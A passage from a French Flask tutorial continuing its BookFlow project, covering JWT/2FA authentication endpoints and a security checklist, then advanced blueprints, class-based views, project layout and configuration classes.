
      user = obtenir_utilisateur_courant()
      data = request.get_json(silent=True) or {}
      code = data.get('code', '')

      if not DeuxFacteurs.valider_code(user.totp_secret, code):
          return jsonify({'error': 'Code TOTP invalide'}), 401

      # Code 2FA correct -> émettre les vrais tokens
      tokens = generer_tokens(user)
      return jsonify({'success': True, 'data': tokens}), 200


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW AUTH COMPLET                         ║
║           Système d'authentification production-ready                             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  TOUS LES ENDPOINTS AUTH
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  BASE : /api/v1/auth

  POST /register                    -> Inscription
  POST /login                       -> Connexion + tokens
  POST /logout                      -> Déconnexion (révocation token)
  POST /logout-all                  -> Déconnexion tous appareils
  POST /refresh                     -> Renouveler access token
  GET  /me                          -> Infos utilisateur connecté [SECURISE]
  GET  /me/tokens                   -> Infos token courant [SECURISE]
  POST /mot-de-passe/reset-request  -> Demander reset mdp
  POST /mot-de-passe/reset/<token>  -> Confirmer reset mdp
  POST /mot-de-passe/changer        -> Changer mdp [SECURISE]
  POST /email/verifier/<token>      -> Vérifier email
  POST /email/renvoyer              -> Renvoyer email vérif [SECURISE]
  POST /2fa/activer                 -> Activer 2FA [SECURISE]
  POST /2fa/valider                 -> Valider code 2FA [SECURISE]
  POST /2fa/desactiver              -> Désactiver 2FA [SECURISE]
  POST /2fa/verify-login            -> Valider 2FA au login
  POST /verifier-mdp                -> Analyser force mdp

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  FICHIER COMPLET : app/routes/api/auth.py
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from flask import Blueprint, jsonify, request
  from flask_jwt_extended import (
      jwt_required, create_access_token, create_refresh_token,
      get_jwt_identity, get_jwt
  )
  from datetime import datetime, timezone, timedelta
  from app import db
  from app.models import Utilisateur, TokenRevoque
  from app.utils.jwt_utils import generer_tokens, obtenir_utilisateur_courant, login_requis
  from app.utils.hash import HashMdp

  auth_bp = Blueprint('auth', __name__)

  @auth_bp.route('/register', methods=['POST'])
  def register():
      """Inscription d'un nouvel utilisateur."""
      # [voir implémentation complète Chapitre 29]
      pass

  @auth_bp.route('/login', methods=['POST'])
  def login():
      """Connexion et génération de tokens JWT."""
      # [voir implémentation complète Chapitre 29]
      pass

  @auth_bp.route('/refresh', methods=['POST'])
  @jwt_required(refresh=True)
  def refresh():
      """Renouveler l'access token avec un refresh token."""
      # [voir implémentation complète Chapitre 32]
      pass

  @auth_bp.route('/logout', methods=['POST'])
  @jwt_required()
  def logout():
      """Révoquer le token courant."""
      claims = get_jwt()
      user_id = int(get_jwt_identity())
      exp_dt = datetime.fromtimestamp(claims['exp'], tz=timezone.utc)

      try:
          TokenRevoque.revoquer(
              jti=claims['jti'],
              type_token=claims.get('type', 'access'),
              user_id=user_id,
              expire_le=exp_dt
          )
          db.session.commit()
          return jsonify({'success': True, 'message': 'Déconnecté avec succès'})
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur lors de la déconnexion'}), 500

  @auth_bp.route('/mot-de-passe/changer', methods=['POST'])
  @login_requis
  def changer_mot_de_passe():
      """Changer son mot de passe (utilisateur connecté)."""
      user = obtenir_utilisateur_courant()
      data = request.get_json(silent=True) or {}

      ancien = data.get('ancien_mot_de_passe', '')
      nouveau = data.get('nouveau_mot_de_passe', '')

      if not ancien or not nouveau:
          return jsonify({'error': 'Les deux mots de passe sont requis'}), 400

      if not user.check_password(ancien):
          return jsonify({'error': 'Ancien mot de passe incorrect'}), 401

      regles = valider_force_mdp(nouveau)
      if regles:
          return jsonify({'error': 'Mot de passe faible', 'regles': regles}), 400

      if ancien == nouveau:
          return jsonify({'error': 'Le nouveau mot de passe doit être différent'}), 400

      user.set_password(nouveau)
      # Invalider tous les autres tokens (sécurité)
      user.tokens_invalides_depuis = datetime.now(timezone.utc)
      db.session.commit()

      return jsonify({
          'success': True,
          'message': 'Mot de passe modifié. Reconnectez-vous sur vos autres appareils.'
      })

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CHECKLIST SÉCURITÉ AUTH
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  [OK] Mots de passe hachés avec bcrypt (rounds=12)
  [OK] Pas de stockage en clair (même temporairement)
  [OK] Réponse identique si email inconnu (anti-énumération)
  [OK] Timing constant pour les vérifications (anti-timing attacks)
  [OK] Access tokens courts (1h) + refresh tokens longs (30j)
  [OK] Révocation par blacklist (JTI dans BDD)
  [OK] Protection brute-force (5 tentatives -> blocage 15min)
  [OK] Rate limiting sur le login (5/min)
  [OK] Vérification email à l'inscription
  [OK] Reset de mot de passe par email (token 1h, usage unique)
  [OK] Invalidation de TOUS les tokens au changement de mot de passe
  [OK] 2FA TOTP optionnel
  [OK] Logs des connexions (email, IP, user-agent, succès/échec)
  [OK] Rehachage progressif (migration des anciens hashs)
  [OK] Gestion de l'expiration par inactivité (sessions web)
  [OK] SECRET_KEY depuis variables d'environnement (jamais hardcodée)
  [OK] HTTPS obligatoire en production (JWT transmis en clair sur HTTP)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 8 — AUTHENTIFICATION

  [DOCS] Tu as appris :
     -> Différence authentification vs autorisation
     -> Bcrypt : fonctionnement, sel, cost factor, timing attack
     -> Register sécurisé : validation, unicité email, anti-énumération
     -> Login sécurisé : anti-brute-force, timing constant, logs
     -> JWT : anatomie (header/payload/signature), claims standard
     -> Flask-JWT-Extended : configuration, callbacks d'erreur
     -> Génération de tokens : access + refresh, additional_claims
     -> Décorateurs : @login_requis, @admin_requis, @role_requis,
                     @proprietaire_ou_admin, @permission_requise
     -> Sessions Flask : cookies signés, configuration sécurisée
     -> Flask-Login : UserMixin, user_loader, login_user/logout_user
     -> Refresh tokens : renouvellement sans se reconnecter
     -> Révocation JWT : blacklist avec table TokenRevoque
     -> Reset de mot de passe : token sécurisé, envoi email, Flask-Mail
     -> 2FA TOTP : pyotp, QR code, flux de validation
     -> Checklist sécurité auth complète (17 points)

  -> Prochaine étape : Partie 9 — Architecture Avancée (Blueprints, Config, Clean)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║           FLASK MASTER GUIDE — PARTIE 9 : ARCHITECTURE AVANCÉE                   ║
║         Blueprints, Configuration, Clean Architecture et Design Patterns          ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 9 / 20
Chapitres      : 33 -> 35
Prérequis      : Parties 1 à 8 (Flask complet, BDD, CRUD, API REST, Auth)
Projet fil     : BookFlow — Restructuration professionnelle complète

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 9
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 33 — Blueprints avancés : organisation modulaire d'une grande API
  CHAPITRE 34 — Structure de projet et configuration professionnelle
  CHAPITRE 35 — Clean Architecture et Design Patterns pour Flask

  PROJET FIL ROUGE — BookFlow : architecture finale production-ready

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 33 — BLUEPRINTS AVANCÉS                                          ║
║     Organisation modulaire, nested blueprints et enregistrement dynamique         ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  RAPPEL ET LIMITES DES BLUEPRINTS SIMPLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En Partie 2, on a vu les Blueprints de base. Dans un grand projet, on a
besoin d'une organisation plus fine : API versionnée, multi-domaines,
blueprints imbriqués.

PROBLÈME D'UNE ORGANISATION NAÏVE :

  # app/__init__.py — naïf
  from .routes.livres import livres_bp
  from .routes.auth import auth_bp
  from .routes.users import users_bp
  from .routes.emprunts import emprunts_bp
  from .routes.avis import avis_bp
  from .routes.categories import categories_bp
  from .routes.admin import admin_bp
  # ... 20 imports pour 20 modules

  app.register_blueprint(livres_bp,     url_prefix='/api/v1/livres')
  app.register_blueprint(auth_bp,       url_prefix='/api/v1/auth')
  # ... 20 register_blueprint

  PROBLÈME : Le fichier __init__.py devient ingérable avec >10 blueprints.

SOLUTION : ENREGISTREMENT DYNAMIQUE DES BLUEPRINTS

  # app/routes/__init__.py
  from flask import Flask

  # Dictionnaire des blueprints avec leurs préfixes
  BLUEPRINTS_API_V1 = [
      ('app.routes.api.v1.livres',      'livres_bp',     '/livres'),
      ('app.routes.api.v1.auth',        'auth_bp',       '/auth'),
      ('app.routes.api.v1.utilisateurs','users_bp',      '/utilisateurs'),
      ('app.routes.api.v1.emprunts',    'emprunts_bp',   '/emprunts'),
      ('app.routes.api.v1.avis',        'avis_bp',       '/avis'),
      ('app.routes.api.v1.categories',  'categories_bp', '/categories'),
  ]

  BLUEPRINTS_ADMIN = [
      ('app.routes.admin.dashboard',    'admin_dashboard_bp', '/dashboard'),
      ('app.routes.admin.gestion',      'admin_gestion_bp',   '/gestion'),
  ]

  BLUEPRINTS_WEB = [
      ('app.routes.web.pages',          'pages_bp',     ''),
      ('app.routes.web.livres',         'web_livres_bp','/livres'),
      ('app.routes.web.auth',           'web_auth_bp',  '/auth'),
  ]

  def enregistrer_blueprints(app: Flask):
      """
      Enregistre dynamiquement tous les blueprints.
      Importe chaque module à la demande (lazy import).
      """
      import importlib

      # API v1
      for module_path, bp_name, prefix in BLUEPRINTS_API_V1:
          module = importlib.import_module(module_path)
          bp = getattr(module, bp_name)
          app.register_blueprint(bp, url_prefix=f'/api/v1{prefix}')
          app.logger.debug(f"Blueprint enregistré : {bp_name} -> /api/v1{prefix}")

      # Admin API
      for module_path, bp_name, prefix in BLUEPRINTS_ADMIN:
          module = importlib.import_module(module_path)
          bp = getattr(module, bp_name)
          app.register_blueprint(bp, url_prefix=f'/api/v1/admin{prefix}')

      # Interface web
      for module_path, bp_name, prefix in BLUEPRINTS_WEB:
          module = importlib.import_module(module_path)
          bp = getattr(module, bp_name)
          app.register_blueprint(bp, url_prefix=prefix)

  # Dans create_app() :
  from .routes import enregistrer_blueprints
  enregistrer_blueprints(app)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  BLUEPRINTS IMBRIQUÉS (NESTED)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask 2.0+ supporte les blueprints imbriqués. Un blueprint parent
peut enregistrer des blueprints enfants.

  # app/routes/api/v1/__init__.py
  from flask import Blueprint

  # Blueprint parent pour l'API v1
  api_v1 = Blueprint('api_v1', __name__)

  # Importer et enregistrer les sous-blueprints
  from .livres import livres_bp
  from .auth import auth_bp
  from .utilisateurs import users_bp
  from .emprunts import emprunts_bp

  api_v1.register_blueprint(livres_bp,  url_prefix='/livres')
  api_v1.register_blueprint(auth_bp,    url_prefix='/auth')
  api_v1.register_blueprint(users_bp,   url_prefix='/utilisateurs')
  api_v1.register_blueprint(emprunts_bp, url_prefix='/emprunts')

  # Dans create_app(), un seul enregistrement :
  from app.routes.api.v1 import api_v1
  app.register_blueprint(api_v1, url_prefix='/api/v1')

  # Résultat final :
  # /api/v1/livres/...
  # /api/v1/auth/...
  # /api/v1/utilisateurs/...
  # /api/v1/emprunts/...

BLUEPRINTS AVEC TEMPLATES ET STATIC PROPRES :

  # Blueprint avec ses propres templates et fichiers statiques
  admin_bp = Blueprint(
      'admin',
      __name__,
      url_prefix='/admin',
      template_folder='templates',    # Cherche dans app/routes/admin/templates/
      static_folder='static',         # Cherche dans app/routes/admin/static/
      static_url_path='/admin/static' # URL des fichiers statiques
  )

  # Priorité des templates :
  # 1. app/templates/ (templates globaux — prioritaire)
  # 2. app/routes/admin/templates/ (templates du blueprint)

BEFORE_REQUEST SPÉCIFIQUE À UN BLUEPRINT :

  # Middleware qui s'applique UNIQUEMENT aux routes de ce blueprint
  @admin_bp.before_request
  def verifier_admin():
      """Vérifie que l'utilisateur est admin avant chaque route admin."""
      from flask_jwt_extended import verify_jwt_in_request
      from app.utils.jwt_utils import obtenir_utilisateur_courant

      try:
          verify_jwt_in_request()
          user = obtenir_utilisateur_courant()
          if not user or user.role != 'admin':
              return jsonify({'error': 'Accès admin requis'}), 403
      except Exception:
          return jsonify({'error': 'Token invalide ou manquant'}), 401

  # Toutes les routes de admin_bp sont automatiquement protégées !
  @admin_bp.route('/statistiques')
  def statistiques():
      # Pas besoin de @login_requis ici, before_request s'en charge
      return jsonify({'stats': {}})

AFTER_REQUEST POUR UN BLUEPRINT (headers spécifiques) :

  @api_v1.after_request
  def ajouter_headers_api(response):
      """Headers ajoutés à toutes les réponses de l'API v1."""
      response.headers['X-API-Version'] = '1.0.0'
      response.headers['X-Powered-By'] = 'BookFlow'
      return response


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  BLUEPRINT AVEC RESSOURCES (CLASSES)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask permet d'utiliser des vues basées sur des classes (class-based views),
qui regroupent les méthodes HTTP d'une ressource.

  from flask.views import MethodView

  class LivreResource(MethodView):
      """
      Vue basée sur une classe pour la ressource Livre.
      Regroupe GET, POST, PATCH, DELETE dans une seule classe.
      """

      def get(self, livre_id=None):
          """Gère GET /livres/ et GET /livres/<id>"""
          if livre_id is None:
              # GET /livres/ -> liste
              livres = Livre.actifs().all()
              return jsonify({'data': [l.to_dict() for l in livres]})
          else:
              # GET /livres/<id> -> détail
              livre = db.get_or_404(Livre, livre_id)
              return jsonify({'data': livre.to_dict()})

      def post(self):
          """Gère POST /livres/ -> créer"""
          data = request.get_json(silent=True) or {}
          # ... validation et création ...
          return jsonify({'data': {}}), 201

      def patch(self, livre_id):
          """Gère PATCH /livres/<id> -> modifier"""
          livre = db.get_or_404(Livre, livre_id)
          # ...
          return jsonify({'data': livre.to_dict()})

      def delete(self, livre_id):
          """Gère DELETE /livres/<id> -> supprimer"""
          livre = db.get_or_404(Livre, livre_id)
          db.session.delete(livre)
          db.session.commit()
          return '', 204

  # Enregistrement de la vue dans le blueprint
  livre_view = LivreResource.as_view('livre_resource')

  livres_bp.add_url_rule(
      '/',
      view_func=livre_view,
      methods=['GET', 'POST']
  )
  livres_bp.add_url_rule(
      '/<int:livre_id>',
      view_func=livre_view,
      methods=['GET', 'PATCH', 'DELETE']
  )

  # Alternative avec décorateur pour les permissions :
  class LivreAdminResource(MethodView):
      decorators = [login_requis, admin_requis]  # Appliqué à toutes les méthodes

      def post(self):
          pass

      def delete(self, livre_id):
          pass


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 33.1 : Refactore le projet BookFlow pour utiliser
    l'enregistrement dynamique des blueprints depuis un dictionnaire.
    Vérifie que toutes les routes fonctionnent encore.

  Exercice 33.2 : Crée un blueprint admin_bp avec un before_request
    qui vérifie le rôle admin pour toutes ses routes.
    Teste avec un utilisateur normal -> 403.

  Exercice 33.3 : Convertis les routes livres en MethodView (classe).
    GET /, POST / dans une classe, GET/<id>, PATCH/<id>, DELETE/<id> dans une autre.

NIVEAU INTERMÉDIAIRE :
  Exercice 33.4 : Crée un blueprint parent api_v1 avec blueprints imbriqués.
    Ajoute un after_request qui ajoute les headers API à toutes les réponses.

  Exercice 33.5 : Implémente un système de routes versionnées qui
    détecte automatiquement les blueprints v1, v2, v3 dans les dossiers
    routes/api/v1/, routes/api/v2/, etc. et les enregistre.

NIVEAU AVANCÉ :
  Exercice 33.6 : Crée un décorateur @route_api(path, methods) qui
    enregistre une fonction dans le bon blueprint selon le préfixe
    du chemin (/admin/ -> admin_bp, /api/v1/ -> api_v1_bp, etc.).

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 33.2 — Blueprint admin avec before_request :

  from flask import Blueprint, jsonify, request
  from flask_jwt_extended import verify_jwt_in_request, get_jwt

  admin_bp = Blueprint('admin', __name__)

  @admin_bp.before_request
  def verifier_acces_admin():
      """Middleware : vérifie admin sur toutes les routes du blueprint."""
      # Exclure les routes OPTIONS (CORS preflight)
      if request.method == 'OPTIONS':
          return None

      try:
          verify_jwt_in_request()
          claims = get_jwt()
          if claims.get('role') != 'admin':
              return jsonify({
                  'error': 'Accès refusé',
                  'detail': 'Droits administrateur requis',
                  'votre_role': claims.get('role')
              }), 403
      except Exception as e:
          return jsonify({
              'error': 'Authentification requise',
              'detail': str(e)
          }), 401

  @admin_bp.route('/statistiques')
  def statistiques():
      # Automatiquement protégé par before_request
      return jsonify({'stats': {'livres': 150, 'users': 42}})

  @admin_bp.route('/utilisateurs')
  def liste_utilisateurs():
      users = Utilisateur.query.all()
      return jsonify({'data': [u.to_dict() for u in users]})

CORRIGÉ 33.3 — MethodView :

  from flask.views import MethodView
  from flask import Blueprint, jsonify, request

  livres_bp = Blueprint('livres', __name__)

  class LivresListView(MethodView):
      """GET / et POST / pour les livres."""

      def get(self):
          """Liste des livres avec pagination."""
          page = request.args.get('page', 1, type=int)
          livres = Livre.actifs().paginate(page=page, per_page=10)
          return jsonify({
              'data': [l.to_dict() for l in livres.items],
              'meta': {'total': livres.total, 'page': page}
          })

      @login_requis
      def post(self):
          """Créer un livre."""
          data = request.get_json(silent=True) or {}
          try:
              livre = service.creer_livre(data)
              return jsonify({'data': livre.to_dict()}), 201
          except ValueError as e:
              return jsonify({'error': str(e)}), 400

  class LivreDetailView(MethodView):
      """GET, PATCH, DELETE /<id> pour un livre."""

      def get(self, livre_id):
          livre = db.get_or_404(Livre, livre_id)
          return jsonify({'data': livre.to_dict()})

      @login_requis
      def patch(self, livre_id):
          livre = db.get_or_404(Livre, livre_id)
          data = request.get_json(silent=True) or {}
          LivreRepository.modifier(livre, **data)
          db.session.commit()
          return jsonify({'data': livre.to_dict()})

      @admin_requis
      def delete(self, livre_id):
          livre = db.get_or_404(Livre, livre_id)
          db.session.delete(livre)
          db.session.commit()
          return '', 204

  # Enregistrement
  livres_bp.add_url_rule('/', view_func=LivresListView.as_view('livres_list'))
  livres_bp.add_url_rule('/<int:livre_id>', view_func=LivreDetailView.as_view('livre_detail'))


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 34 — STRUCTURE DE PROJET ET CONFIGURATION PROFESSIONNELLE        ║
║     Organisation des fichiers, environnements multiples, secrets et logging       ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  STRUCTURE FINALE DU PROJET BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Voici la structure complète et professionnelle d'un projet Flask industriel.
Chaque dossier a une responsabilité unique et claire.

  bookflow/                          <- Racine du projet
  │
  ├── app/                           <- Code source principal
  │   ├── __init__.py                <- Application Factory create_app()
  │   ├── extensions.py              <- Instances des extensions (db, jwt, mail...)
  │   ├── config.py                  <- Classes de configuration
  │   ├── errors.py                  <- Exceptions personnalisées
  │   │
  │   ├── models/                    <- Modèles SQLAlchemy (structure BDD)
  │   │   ├── __init__.py            <- Exports + table pivots
  │   │   ├── base.py                <- BaseModel, mixins
  │   │   ├── utilisateur.py
  │   │   ├── livre.py
  │   │   ├── emprunt.py
  │   │   ├── avis.py
  │   │   ├── categorie.py
  │   │   └── token_revoque.py
  │   │
  │   ├── schemas/                   <- Schémas Marshmallow (validation/sérialisation)
  │   │   ├── __init__.py
  │   │   ├── livre_schema.py
  │   │   ├── utilisateur_schema.py
  │   │   ├── emprunt_schema.py
  │   │   └── avis_schema.py
  │   │
  │   ├── repositories/              <- Accès données (requêtes BDD)
  │   │   ├── __init__.py
  │   │   ├── base_repository.py     <- Repository générique
  │   │   ├── livre_repository.py
  │   │   └── utilisateur_repository.py
  │   │
  │   ├── services/                  <- Logique métier
  │   │   ├── __init__.py
  │   │   ├── livre_service.py
  │   │   ├── auth_service.py
  │   │   ├── emprunt_service.py
  │   │   └── email_service.py
  │   │
  │   ├── routes/                    <- Endpoints HTTP (Controllers)
  │   │   ├── __init__.py            <- enregistrer_blueprints()
  │   │   ├── api/
  │   │   │   ├── __init__.py        <- Blueprint api parent
  │   │   │   ├── v1/
  │   │   │   │   ├── __init__.py    <- Blueprint v1
  │   │   │   │   ├── livres.py
  │   │   │   │   ├── auth.py
  │   │   │   │   ├── utilisateurs.py
  │   │   │   │   ├── emprunts.py
  │   │   │   │   ├── avis.py
  │   │   │   │   └── categories.py
  │   │   │   └── v2/                <- Quand v2 existera
  │   │   ├── admin/
  │   │   │   ├── __init__.py        <- Blueprint admin
  │   │   │   ├── dashboard.py
  │   │   │   └── gestion.py
  │   │   └── web/                   <- Interface HTML
  │   │       ├── __init__.py
  │   │       ├── pages.py
  │   │       ├── livres.py
  │   │       └── auth.py
  │   │
  │   ├── utils/                     <- Fonctions utilitaires
  │   │   ├── __init__.py
  │   │   ├── jwt_utils.py           <- Décorateurs JWT, génération tokens
  │   │   ├── hash.py                <- Bcrypt wrapper
  │   │   ├── email.py               <- Envoi d'emails
  │   │   ├── validators.py          <- Validateurs réutilisables
  │   │   ├── responses.py           <- Helpers réponses API (succes/erreur)
  │   │   ├── pagination.py          <- Helper pagination
  │   │   └── rate_limit.py          <- Protection brute-force
  │   │
  │   ├── templates/                 <- Templates Jinja2
  │   │   ├── base.html
  │   │   ├── index.html
  │   │   ├── livres/
  │   │   ├── auth/
  │   │   ├── errors/
  │   │   ├── emails/                <- Templates emails HTML + TXT
  │   │   └── macros/
  │   │
  │   └── static/                    <- Fichiers statiques
  │       ├── css/
  │       ├── js/
  │       └── images/
  │
  ├── migrations/                    <- Migrations Alembic (Flask-Migrate)
  │   └── versions/
  │
  ├── tests/                         <- Tests automatisés
  │   ├── __init__.py
  │   ├── conftest.py                <- Fixtures pytest
  │   ├── unit/                      <- Tests unitaires
  │   │   ├── test_models.py
  │   │   ├── test_services.py
  │   │   └── test_utils.py
  │   ├── integration/               <- Tests d'intégration
  │   │   ├── test_auth.py
  │   │   ├── test_livres.py
  │   │   └── test_emprunts.py
  │   └── e2e/                       <- Tests end-to-end
  │       └── test_workflows.py
  │
  ├── docs/                          <- Documentation
  │   ├── api/                       <- Specs OpenAPI
  │   └── architecture/              <- Diagrammes
  │
  ├── scripts/                       <- Scripts d'administration
  │   ├── seed_db.py                 <- Peupler la BDD de test
  │   ├── create_admin.py            <- Créer un admin
  │   └── cleanup.py                 <- Nettoyage (tokens expirés, etc.)
  │
  ├── .env                           <- Variables d'environnement locales
  ├── .env.example                   <- Modèle sans secrets
  ├── .env.test                      <- Variables pour les tests
  ├── .gitignore
  ├── .flake8                        <- Config linter Python
  ├── pyproject.toml                 <- Config moderne Python (remplace setup.py)
  ├── requirements.txt               <- Dépendances production
  ├── requirements-dev.txt           <- Dépendances développement
  ├── Makefile                       <- Commandes courantes
  ├── Dockerfile                     <- Image Docker
  ├── docker-compose.yml             <- Orchestration Docker
  └── run.py                         <- Point d'entrée


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  EXTENSIONS.PY — INITIALISATION CENTRALISÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Centraliser les instances des extensions évite les imports circulaires.

  # app/extensions.py
  """
  Instances des extensions Flask.
  Créées ici sans app, initialisées dans create_app() via .init_app().

  IMPORTANT : Ne jamais importer 'app' depuis ce fichier.
  Les extensions sont liées à l'app dans create_app().
  """
  from flask_sqlalchemy import SQLAlchemy
  from flask_migrate import Migrate
  from flask_jwt_extended import JWTManager
  from flask_mail import Mail
  from flask_cors import CORS
  from flask_limiter import Limiter
  from flask_limiter.util import get_remote_address
  from flask_caching import Cache
  from flask_marshmallow import Marshmallow
  from flasgger import Swagger

  # Base de données
  db = SQLAlchemy()
  migrate = Migrate()

  # Authentification
  jwt = JWTManager()

  # Email
  mail = Mail()

  # Cross-Origin Resource Sharing
  cors = CORS()

  # Rate limiting
  limiter = Limiter(
      key_func=get_remote_address,
      default_limits=["1000 per day", "100 per hour"],
      storage_uri="memory://"
  )

  # Cache
  cache = Cache()

  # Sérialisation
  ma = Marshmallow()

  # Documentation Swagger
  swagger = Swagger()

  # app/__init__.py — utilisation
  from .extensions import db, migrate, jwt, mail, cors, limiter, cache, ma

  def create_app(config_name='development'):
      app = Flask(__name__)
      app.config.from_object(config_map[config_name])

      # Initialiser toutes les extensions
      db.init_app(app)
      migrate.init_app(app, db)
      jwt.init_app(app)
      mail.init_app(app)
      cors.init_app(app, resources={
          r"/api/*": {"origins": app.config.get('CORS_ORIGINS', ['*'])}
      })
      limiter.init_app(app)
      cache.init_app(app, config={
          'CACHE_TYPE': app.config.get('CACHE_TYPE', 'SimpleCache'),
          'CACHE_DEFAULT_TIMEOUT': 300
      })
      ma.init_app(app)

      return app


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  CONFIG.PY — CONFIGURATION AVANCÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/config.py
  import os
  from datetime import timedelta
  from dotenv import load_dotenv

  load_dotenv()

  class Config:
      """Configuration de base — partagée par tous les environnements."""

      # ── Flask Core ──
      SECRET_KEY = os.getenv('SECRET_KEY')
      if not SECRET_KEY:
          import secrets
          SECRET_KEY = secrets.token_hex(32)  # Généré si absent (dev seulement)

      # ── Base de données ──
      SQLALCHEMY_TRACK_MODIFICATIONS = False
      SQLALCHEMY_ENGINE_OPTIONS = {
          'pool_pre_ping': True,      # Vérifie la connexion avant utilisation
          'pool_recycle':  300,       # Recycle les connexions toutes les 5 min
          'pool_size':     10,        # Taille du pool de connexions
          'max_overflow':  20,        # Connexions supplémentaires si pool plein
      }

      # ── JWT ──
      JWT_SECRET_KEY = os.getenv('JWT_SECRET_KEY', SECRET_KEY)
      JWT_ACCESS_TOKEN_EXPIRES  = timedelta(
          seconds=int(os.getenv('JWT_ACCESS_EXPIRES', 3600))   # 1h
      )
      JWT_REFRESH_TOKEN_EXPIRES = timedelta(
          days=int(os.getenv('JWT_REFRESH_EXPIRES_DAYS', 30))  # 30j
      )
      JWT_TOKEN_LOCATION = ['headers']
      JWT_HEADER_NAME    = 'Authorization'
      JWT_HEADER_TYPE    = 'Bearer'

      # ── CORS ──
      CORS_ORIGINS = os.getenv('CORS_ORIGINS', 'http://localhost:3000').split(',')

      # ── Rate Limiting ──
      RATELIMIT_STORAGE_URI = os.getenv('REDIS_URL', 'memory://')

      # ── Upload ──
      MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 16 MB
      UPLOAD_FOLDER = os.path.join(os.path.dirname(__file__), '..', 'uploads')
      ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'webp', 'gif', 'pdf', 'epub'}

      # ── Email ──
      MAIL_SERVER   = os.getenv('MAIL_SERVER', 'smtp.gmail.com')
      MAIL_PORT     = int(os.getenv('MAIL_PORT', 587))
      MAIL_USE_TLS  = os.getenv('MAIL_USE_TLS', 'true').lower() == 'true'
      MAIL_USERNAME = os.getenv('MAIL_USERNAME')
      MAIL_PASSWORD = os.getenv('MAIL_PASSWORD')
      MAIL_DEFAULT_SENDER = ('BookFlow', os.getenv('MAIL_USERNAME', 'noreply@bookflow.com'))

      # ── Pagination ──
      DEFAULT_PAGE_SIZE = 10
      MAX_PAGE_SIZE = 100

      # ── Application ──
      APP_NAME    = 'BookFlow API'
      APP_VERSION = '1.0.0'

  class DevelopmentConfig(Config):
      """Développement local."""
      ENV   = 'development'
      DEBUG = True
      TESTING = False

      SQLALCHEMY_DATABASE_URI = os.getenv(
          'DATABASE_URL',
          'sqlite:///instance/bookflow_dev.db'
      )
      SQLALCHEMY_ECHO = True    # Afficher les requêtes SQL

      CACHE_TYPE = 'SimpleCache'
      RATELIMIT_ENABLED = False  # Désactiver le rate limiting en dev

      # Tokens plus courts en dev (pour tester l'expiration facilement)
      JWT_ACCESS_TOKEN_EXPIRES = timedelta(minutes=15)

  class TestingConfig(Config):
      """Tests automatisés."""
      ENV     = 'testing'
      DEBUG   = True
      TESTING = True

      SQLALCHEMY_DATABASE_URI = 'sqlite:///:memory:'
      SQLALCHEMY_ECHO = False

      # Sécurité désactivée pour simplifier les tests
      WTF_CSRF_ENABLED = False
      RATELIMIT_ENABLED = False

